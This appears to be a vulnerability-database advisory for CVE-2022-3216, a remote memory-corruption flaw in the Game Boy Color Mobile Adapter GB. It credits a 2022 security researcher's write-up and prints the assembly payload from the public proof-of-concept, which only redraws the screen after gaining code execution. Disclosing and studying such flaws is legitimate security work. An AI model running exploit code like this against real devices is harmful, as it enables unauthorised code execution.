Nintendo Game Boy Color Mobile Adapter GB Tetsuji memory corruption

Summaryinfo

A vulnerability was found in Nintendo Game Boy Color. It has been declared as problematic. This affects an unknown part of the component Mobile Adapter GB. Executing a manipulation can lead to memory corruption. This vulnerability is handled as CVE-2022-3216. The attack can be executed remotely. Additionally, an exploit exists. This vulnerability is notable in history due to its background and the response it received.

Detailsinfo

A vulnerability has been found in Nintendo Game Boy Color (Game Console) (version now known) and classified as problematic. This vulnerability affects some unknown processing of the component Mobile Adapter GB. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was released 09/14/2022 by Harvey Phillips (TheXcellerator) as Tetsuji: Remote Code Execution on a GameBoy Colour 22 Years Later as confirmed blog post (Website). The advisory is available at xcellerator.github.io. The vendor was not involved in the coordination of the public release. This vulnerability was named CVE-2022-3216. Successful exploitation requires user interaction by the victim. Technical details are unknown but a public exploit is available. The structure of the vulnerability defines a possible price range of USD $0-$5k at the moment (estimation calculated on 10/17/2022). This vulnerability has a historic impact due to its background and reception.

A public exploit has been developed by Harvey Phillips (TheXcellerator) in Assembler. It is possible to download the exploit at xcellerator.github.io. It is declared as proof-of-concept. The code used by the exploit is:

ld a, (FF00+44)         ; Load LY register into A register
cp a, $90               ; Are we past vblank?
jr c, $CA4F             ; Loop until we are

xor a                   ; Clear A
ld (FF00+40), a         ; Reset LCDC register

ld hl, $9800            ; Load $9800 into HL register
ld b, $F9               ; Load $F9 into B register
ld (hl), b              ; Load $F9 into the address pointed to by HL ($9800)

ld a, $B8               ; Index $38 into BG Palette Data, with Auto-Increment On
ld (FF00+68), a         ; Load $B8 into BGPI
xor a                   ; Clear A
ld (FF00+69), a         ; Write 0 into BGPD
ld (FF00+69), a         ; Write 0 into BGPD

xor a                   ; Clear A
ld (FF00+42), a         ; Load 0 into LY
ld (FF00+43), a         ; Load 0 into LX
ld a, %10000001         ; Set MSB and LSB Only
ld (FF00+40), a         ; Write $81 into LCDC - the LCD is now on!
jr $CA70                ; Infinite Loop

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Type

• Game Console

Vendor

• Nintendo

Name

• Game Boy Color

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

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